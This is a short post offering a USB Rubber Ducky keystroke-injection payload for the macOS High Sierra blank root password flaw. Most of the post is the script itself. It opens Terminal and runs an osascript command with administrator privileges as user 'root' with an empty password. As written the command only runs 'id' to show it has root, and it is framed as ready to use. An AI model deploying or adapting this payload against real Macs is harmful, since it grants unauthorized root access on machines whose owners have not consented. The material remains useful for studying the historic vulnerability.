USB Rubber Ducky Payload - OSX High Sierra Get root

In light of apples monumental screwup and making it possible to login as root with no password, here's the rubber ducky payload for it

REM Author: Liam Somerville
REM Title: OSX High Seria Root for all
REM This payload will open terminal, take the steps needed to exploit High Serria root login vulnnerablity
REM Trust Your Technolust
DELAY 1000
GUI SPACE
STRING terminal
DELAY 500
ENTER
DELAY 4000
STRING osascript -e 'do shell script "id" with administrator privileges user name "root" password ""'
DELAY 500
ENTER